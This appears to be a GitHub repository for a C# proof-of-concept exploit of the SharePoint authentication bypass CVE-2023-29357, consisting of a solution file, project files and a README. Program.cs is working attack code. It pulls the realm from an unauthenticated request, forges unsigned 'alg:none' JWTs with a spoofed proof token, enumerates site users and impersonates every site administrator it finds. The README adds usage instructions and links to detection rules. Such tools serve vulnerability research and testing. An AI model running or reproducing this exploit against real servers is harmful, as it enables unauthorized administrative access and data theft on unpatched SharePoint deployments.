├── CVE-2023-29357.sln
├── CVE-2023-29357
├── App.config
├── CVE-2023-29357.csproj
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
└── packages.config
└── README.md
/CVE-2023-29357.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.33026.149
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CVE-2023-29357", "CVE-2023-29357\CVE-2023-29357.csproj", "{F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {0474D8C3-8090-47C7-A43B-4C88C7C21949}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/CVE-2023-29357/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/CVE-2023-29357/CVE-2023-29357.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}
8 | Exe
9 | CVE_2023_29357
10 | CVE-2023-29357
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 | ..\packages\Microsoft.Bcl.AsyncInterfaces.1.1.0\lib\net461\Microsoft.Bcl.AsyncInterfaces.dll
38 |
39 |
40 | ..\packages\Microsoft.IdentityModel.Abstractions.7.0.2\lib\net472\Microsoft.IdentityModel.Abstractions.dll
41 |
42 |
43 | ..\packages\Microsoft.IdentityModel.JsonWebTokens.7.0.2\lib\net472\Microsoft.IdentityModel.JsonWebTokens.dll
44 |
45 |
46 | ..\packages\Microsoft.IdentityModel.Logging.7.0.2\lib\net472\Microsoft.IdentityModel.Logging.dll
47 |
48 |
49 | ..\packages\Microsoft.IdentityModel.Tokens.7.0.2\lib\net472\Microsoft.IdentityModel.Tokens.dll
50 |
51 |
52 | ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll
53 |
54 |
55 |
56 | ..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll
57 |
58 |
59 |
60 | ..\packages\System.IdentityModel.Tokens.Jwt.7.0.2\lib\net472\System.IdentityModel.Tokens.Jwt.dll
61 |
62 |
63 | ..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll
64 |
65 |
66 |
67 | ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll
68 |
69 |
70 | ..\packages\System.Runtime.CompilerServices.Unsafe.4.7.1\lib\net461\System.Runtime.CompilerServices.Unsafe.dll
71 |
72 |
73 | ..\packages\System.Security.Claims.4.3.0\lib\net46\System.Security.Claims.dll
74 | True
75 | True
76 |
77 |
78 | ..\packages\System.Text.Encodings.Web.4.7.2\lib\net461\System.Text.Encodings.Web.dll
79 |
80 |
81 | ..\packages\System.Text.Json.4.7.2\lib\net461\System.Text.Json.dll
82 |
83 |
84 | ..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll
85 |
86 |
87 | ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
--------------------------------------------------------------------------------
/CVE-2023-29357/Program.cs:
--------------------------------------------------------------------------------
1 | // CVE-2023-29357 SharePoint Exploit by @LuemmelSec
2 | // Build with .Net Version 4.7.2 in Visual Studio 2017 as C# Console Application
3 | // References:
4 | // https://github.com/Chocapikk/CVE-2023-29357
5 | // https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e
6 | // Exploit steps
7 | // Fetch the Realm unauthenticated from /_api/web/siteusers
8 | // Forge a JWT with the Realm to authenticate as app@sharepoint User
9 | // Fetch all users from /_api/web/siteusers as app@sharepoint
10 | // Look for Users with SiteAdmin = True
11 | // Forge a JWT for all of them with their NameId and NameIdIssuer
12 | // Impersonate them and make a request to /_api/web/currentuser to proof impersonation
13 |
14 | using System;
15 | using System.IdentityModel.Tokens.Jwt;
16 | using System.Net.Http;
17 | using System.Text;
18 | using Newtonsoft.Json;
19 | using System.Xml.Linq;
20 | using System.Linq;
21 |
22 | class Program
23 | {
24 | static void Main(string[] args)
25 | {
26 | if (args.Length < 1)
27 | {
28 | Console.WriteLine("Usage: CVE-2023-29357.exe http(s)://yoursharepoint.lol [-v]");
29 | return;
30 | }
31 |
32 | string url = args[0];
33 | string apiUrl = url.TrimEnd('/') + "/_api/web/siteusers";
34 | bool verbose = args.Length > 1 && args[1] == "-v";
35 |
36 | using (var httpClient = new HttpClient())
37 | {
38 | try
39 | {
40 | httpClient.DefaultRequestHeaders.Add("Authorization", $"Bearer");
41 |
42 | HttpResponseMessage response = httpClient.GetAsync(apiUrl).Result;
43 |
44 | Console.WriteLine($"Response Status Code unauthenticated against /_api/web/siteusers to fetch the Realm should be Unauthorized: {response.StatusCode}");
45 |
46 | if (verbose)
47 | {
48 | Console.WriteLine("Response Headers:");
49 | foreach (var header in response.Headers)
50 | {
51 | Console.WriteLine($"{header.Key}: {string.Join(", ", header.Value)}");
52 | }
53 | }
54 |
55 | if (response.Headers.TryGetValues("WWW-Authenticate", out var authHeaderValues))
56 | {
57 | foreach (var authHeaderValue in authHeaderValues)
58 | {
59 | if (authHeaderValue.Contains("realm="))
60 | {
61 | string realm = authHeaderValue.Split(new[] { "realm=\"" }, StringSplitOptions.None)[1].Split('"')[0];
62 | if (!string.IsNullOrEmpty(realm))
63 | {
64 | Console.ForegroundColor = ConsoleColor.Green;
65 | Console.WriteLine($"Realm found in response headers: {realm}");
66 | Console.ResetColor();
67 | }
68 | else
69 | {
70 | Console.ForegroundColor = ConsoleColor.Red;
71 | Console.WriteLine($"Realm NOT found in response headers!!!");
72 | Console.ResetColor();
73 | }
74 |
75 | // Generate JWT
76 | string jwtToken = GenerateJwt(realm);
77 |
78 | // Use JWT for the Authorization and X-PROOF_TOKEN headers
79 | httpClient.DefaultRequestHeaders.Remove("Authorization");
80 | httpClient.DefaultRequestHeaders.Remove("X-PROOF_TOKEN");
81 | httpClient.DefaultRequestHeaders.Add("Authorization", $"Bearer {jwtToken}");
82 | httpClient.DefaultRequestHeaders.Add("X-PROOF_TOKEN", jwtToken);
83 |
84 | // Make a request with the JWT to /_api/web/currentuser
85 | response = httpClient.GetAsync(url.TrimEnd('/') + "/_api/web/currentuser").Result;
86 |
87 | Console.WriteLine($"Response Status Code with spoofed JWT against /_api/web/currentuser: {response.StatusCode}");
88 |
89 | if (verbose)
90 | {
91 | Console.WriteLine("Response Headers with spoofed JWT against /_api/web/currentuser:");
92 | foreach (var header in response.Headers)
93 | {
94 | Console.WriteLine($"{header.Key}: {string.Join(", ", header.Value)}");
95 | }
96 |
97 | // Print the formatted response body
98 | var responseBody = FormatXml(response.Content.ReadAsStringAsync().Result);
99 | Console.WriteLine($"Response Body with spoofed JWT against /_api/web/currentuser: {responseBody}");
100 | }
101 |
102 | // Now, make a request with the same JWTs to /_api/web/siteusers
103 | response = httpClient.GetAsync(url.TrimEnd('/') + "/_api/web/siteusers").Result;
104 |
105 | Console.WriteLine($"Response Status Code with spoofed JWT against /_api/web/siteusers: {response.StatusCode}");
106 |
107 | if (verbose)
108 | {
109 | Console.WriteLine("Response Headers with spoofed JWT against /_api/web/siteusers:");
110 | foreach (var header in response.Headers)
111 | {
112 | Console.WriteLine($"{header.Key}: {string.Join(", ", header.Value)}");
113 | }
114 |
115 | // Print the formatted response body
116 | var responseBodySiteUsersVerbose = FormatXml(response.Content.ReadAsStringAsync().Result);
117 | Console.WriteLine($"Response Body with spoofed JWT against /_api/web/siteusers: {responseBodySiteUsersVerbose}");
118 |
119 | }
120 | // Define namespaces
121 | XNamespace d = "http://schemas.microsoft.com/ado/2007/08/dataservices";
122 | XNamespace m = "http://schemas.microsoft.com/ado/2007/08/dataservices/metadata";
123 |
124 | // Parse the XML and find users with IsSiteAdmin=true
125 | var responseBodySiteUsers = FormatXml(response.Content.ReadAsStringAsync().Result);
126 | var xDoc = XDocument.Parse(responseBodySiteUsers);
127 | var isAdminUsers = xDoc.Descendants(m + "properties")
128 | .Where(e => e.Elements(d + "IsSiteAdmin").Any(el => el.Value == "true"))
129 | .Select(e => e.Parent) // Go up to the 'entry' element
130 | .ToList();
131 |
132 | // Print the XML part of users with IsSiteAdmin=true
133 | foreach (var isAdminUser in isAdminUsers)
134 | {
135 | var loginName = isAdminUser.Element(m + "properties")?.Element(d + "LoginName")?.Value;
136 | var nameId = isAdminUser.Element(m + "properties")?.Element(d + "UserId")?.Element(d + "NameId")?.Value;
137 | var nameIdIssuer = isAdminUser.Element(m + "properties")?.Element(d + "UserId")?.Element(d + "NameIdIssuer")?.Value;
138 |
139 | // Check if loginName and nameId are not empty
140 | if (!string.IsNullOrEmpty(loginName) && !string.IsNullOrEmpty(nameId))
141 | {
142 | Console.ForegroundColor = ConsoleColor.Green;
143 | Console.WriteLine("Site-Admin found");
144 | Console.WriteLine($"LoginName: {loginName}");
145 | Console.WriteLine($"NameId: {nameId}");
146 | Console.WriteLine($"NameIdIssuer: {nameIdIssuer}");
147 |
148 | // Generate JWT with specific nameId and nameIdIssuer
149 | string jwtToken_SiteAdmin = GenerateJwt(realm, nameId, nameIdIssuer);
150 |
151 | // Reset Request Headers and use the spoofed Admin JWT to authenticate
152 | httpClient.DefaultRequestHeaders.Remove("Authorization");
153 | httpClient.DefaultRequestHeaders.Remove("X-PROOF_TOKEN");
154 | httpClient.DefaultRequestHeaders.Add("Authorization", $"Bearer {jwtToken_SiteAdmin}");
155 | httpClient.DefaultRequestHeaders.Add("X-PROOF_TOKEN", jwtToken_SiteAdmin);
156 | // Make a request with the new JWT to /_api/web/currentuser
157 | response = httpClient.GetAsync(url.TrimEnd('/') + "/_api/web/currentuser").Result;
158 | Console.ResetColor();
159 |
160 | // Print the response status code against /_api/web/currentuser
161 | Console.WriteLine($"Response Status Code against /_api/web/currentuser as SiteAdmin: {response.StatusCode}");
162 |
163 | // Parse the XML to get the LoginName
164 | var responseBodyCurrentUser_SiteAdmin = FormatXml(response.Content.ReadAsStringAsync().Result);
165 | var xDocCurrentUser = XDocument.Parse(responseBodyCurrentUser_SiteAdmin);
166 | var loginNameSiteAdmin = xDocCurrentUser.Descendants(m + "properties").FirstOrDefault()?.Element(d + "LoginName")?.Value;
167 |
168 | // Print the LoginName
169 | if (!string.IsNullOrEmpty(realm))
170 | {
171 | Console.ForegroundColor = ConsoleColor.Green;
172 | Console.WriteLine($"Now running as SiteAdmin: {loginNameSiteAdmin}");
173 | Console.ResetColor();
174 | }
175 | else
176 | {
177 | Console.ForegroundColor = ConsoleColor.Red;
178 | Console.WriteLine($"Error. Could not parse the SiteAdmin User!");
179 | Console.ResetColor();
180 | }
181 |
182 |
183 | if (verbose)
184 | {
185 | Console.WriteLine("Response Headers against /_api/web/currentuser as SiteAdmin:");
186 | foreach (var header in response.Headers)
187 | {
188 | Console.WriteLine($"{header.Key}: {string.Join(", ", header.Value)}");
189 | }
190 |
191 | // Print the formatted response body
192 | var responseBodyCurrentUser = FormatXml(response.Content.ReadAsStringAsync().Result);
193 | Console.WriteLine($"Response Body against /_api/web/currentuser as SiteAdmin: {responseBodyCurrentUser}");
194 | }
195 |
196 | // Reset color to default
197 | Console.ResetColor();
198 | }
199 | else
200 | {
201 | Console.ForegroundColor = ConsoleColor.Red;
202 | Console.WriteLine("Sorry, no Site-Admin found!");
203 | // Reset color to default
204 | Console.ResetColor();
205 | }
206 |
207 | // Reset color to default
208 | Console.ResetColor();
209 | }
210 | return;
211 | }
212 | }
213 | }
214 |
215 | Console.WriteLine("Realm not found in WWW-Authenticate header.");
216 | }
217 | catch (Exception ex)
218 | {
219 | Console.WriteLine($"Error: {ex.Message}");
220 | }
221 | }
222 | }
223 |
224 | static string GenerateJwt(string realm)
225 | {
226 | // Set current time and expiration time
227 | DateTime now = DateTime.UtcNow;
228 | DateTime expirationTime = now.AddHours(1);
229 |
230 | // Create JWT payload
231 | var payload = new
232 | {
233 | aud = $"00000003-0000-0ff1-ce00-000000000000@{realm}",
234 | iss = "00000003-0000-0ff1-ce00-000000000000",
235 | nbf = (int)now.Subtract(new DateTime(1970, 1, 1)).TotalSeconds,
236 | exp = (int)expirationTime.Subtract(new DateTime(1970, 1, 1)).TotalSeconds,
237 | ver = "hashedprooftoken",
238 | nameid = $"00000003-0000-0ff1-ce00-000000000000@{realm}",
239 | //endpointurl parameter is calculated as base64_encode(sha256(request_url)). By just giving it "h" and set endpointurl Length = 1 this is valid and true for the SharePoint code. URL needs to be lowercase!
240 | //can use CyberChef with SHA256 / 64 rounds -> From Hex / Delimiter Auto -> To Base64 === https://gchq.github.io/CyberChef/#recipe=SHA2('256',64,160)From_Hex('Auto')To_Base64('A-Za-z0-9%2B/%3D')&input=aA
241 | endpointurl = "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=",
242 | endpointurlLength = 1,
243 | isloopback = true,
244 | };
245 |
246 | var handler = new JwtSecurityTokenHandler();
247 |
248 | // Encode header and payload
249 | var encodedHeader = Convert.ToBase64String(Encoding.UTF8.GetBytes("{\"alg\":\"none\"}")).TrimEnd('=');
250 | var encodedPayload = Convert.ToBase64String(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(payload))).TrimEnd('=');
251 |
252 | // Concatenate header and payload with a period
253 | var jwtToken = $"{encodedHeader}.{encodedPayload}.AAA";
254 |
255 | return jwtToken;
256 | }
257 |
258 | static string GenerateJwt(string realm, string targetNameId, string targetNameIdIssuer)
259 | {
260 | // Set current time and expiration time
261 | DateTime now = DateTime.UtcNow;
262 | DateTime expirationTime = now.AddHours(1);
263 |
264 | // Create JWT payload
265 | var payload = new
266 | {
267 | aud = $"00000003-0000-0ff1-ce00-000000000000@{realm}",
268 | iss = "00000003-0000-0ff1-ce00-000000000000",
269 | nbf = (int)now.Subtract(new DateTime(1970, 1, 1)).TotalSeconds,
270 | exp = (int)expirationTime.Subtract(new DateTime(1970, 1, 1)).TotalSeconds,
271 | ver = "hashedprooftoken",
272 | nameid = targetNameId,
273 | endpointurl = "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=",
274 | endpointurlLength = 1,
275 | isloopback = true,
276 | nii = targetNameIdIssuer, // Additional claim for NameIdIssuer
277 | isuser = "True" // Additional claim for isuser
278 | };
279 |
280 | var handler = new JwtSecurityTokenHandler();
281 |
282 | // Encode header and payload
283 | var encodedHeader = Convert.ToBase64String(Encoding.UTF8.GetBytes("{\"alg\":\"none\"}")).TrimEnd('=');
284 | var encodedPayload = Convert.ToBase64String(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(payload))).TrimEnd('=');
285 |
286 | // Concatenate header and payload with a period
287 | var jwtToken = $"{encodedHeader}.{encodedPayload}.AAA";
288 |
289 | return jwtToken;
290 | }
291 |
292 | // Helper method to format XML
293 | static string FormatXml(string xml)
294 | {
295 | var doc = XDocument.Parse(xml);
296 | return doc.ToString();
297 | }
298 | }
299 |
--------------------------------------------------------------------------------
/CVE-2023-29357/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("CVE-2023-29357")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("CVE-2023-29357")]
13 | [assembly: AssemblyCopyright("Copyright © 2023")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("f22d2de0-606b-4d16-98d5-421f3f1ba8bc")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/CVE-2023-29357/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Recreation of the SharePoint PoC for CVE-2023-29357 in C# with lots of help from ChatGPT.
2 | Build with .Net Version 4.7.2 in Visual Studio 2017
3 | Use NuGet Package manager to install any missing packages
4 | Yara rules for detection below
5 |
6 | Usage:
7 | ```
8 | CVE-2023-29357.exe http(s)://yoursharepoint.lol [-v]
9 | ```
10 | 
11 |
12 | Huge shoutout to:
13 | [Jang](https://twitter.com/testanull) for being very supportive with explainations on exploit steps and his huge writeup:
14 | https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e
15 |
16 | [WhiteKnight](https://twitter.com/Chocapikk_) for his support and the Python exploit:
17 | https://github.com/Chocapikk/CVE-2023-29357
18 |
19 | [Florian Roth](https://twitter.com/cyb3rops) for his immediate efforts to provide YARA rules to help you protect against the usage of the current exploits:
20 | https://twitter.com/cyb3rops/status/1707678149448700270
21 | https://github.com/Neo23x0/signature-base/blob/master/yara/expl_sharepoint_cve_2023_29357.yar
22 |
--------------------------------------------------------------------------------